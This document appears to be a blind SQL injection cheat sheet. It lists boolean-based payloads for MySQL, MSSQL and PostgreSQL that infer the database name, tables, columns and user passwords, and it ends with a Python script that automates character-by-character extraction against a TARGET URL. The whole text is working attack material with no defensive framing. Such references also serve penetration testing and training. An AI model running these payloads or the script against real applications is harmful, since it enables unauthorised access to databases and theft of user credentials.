Boolean-Based Blind

' AND 1=1-- -          → Normal response (TRUE)
' AND 1=2-- -          → Different response (FALSE)

' AND LENGTH(database())=1-- -
' AND LENGTH(database())=2-- -
...
' AND LENGTH(database())=5-- -     → TRUE (length is 5)

' AND SUBSTRING(database(),1,1)='a'-- -
' AND SUBSTRING(database(),1,1)='b'-- -
...
' AND SUBSTRING(database(),1,1)='t'-- -    → TRUE (first char is 't')
' AND SUBSTRING(database(),2,1)='e'-- -    → TRUE (second char is 'e')

' AND ASCII(SUBSTRING(database(),1,1))>96-- -     → TRUE (> 'a')
' AND ASCII(SUBSTRING(database(),1,1))>112-- -    → TRUE (> 'p')
' AND ASCII(SUBSTRING(database(),1,1))>120-- -    → FALSE
' AND ASCII(SUBSTRING(database(),1,1))>116-- -    → TRUE
' AND ASCII(SUBSTRING(database(),1,1))=116-- -    → TRUE (char = 't')

' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=5-- -

' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'-- -

' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i'-- -

' AND SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)='a'-- -
' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='$'-- -

' AND SUBSTRING((SELECT DB_NAME()),1,1)='m'-- -
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))>100-- -

' AND SUBSTRING((SELECT current_database()),1,1)='p'-- -
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1),1,1))>100-- -

import requests

url = "http://TARGET/page"
result = ""

for pos in range(1, 50):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = f"' AND ASCII(SUBSTRING(database(),{pos},1))>{mid}-- -"
        r = requests.get(url, params={"id": payload})
        if "expected_true_content" in r.text:
            low = mid + 1
        else:
            high = mid - 1
    if low > 126:
        break
    result += chr(low)
    print(f"[+] {result}")

print(f"Result: {result}")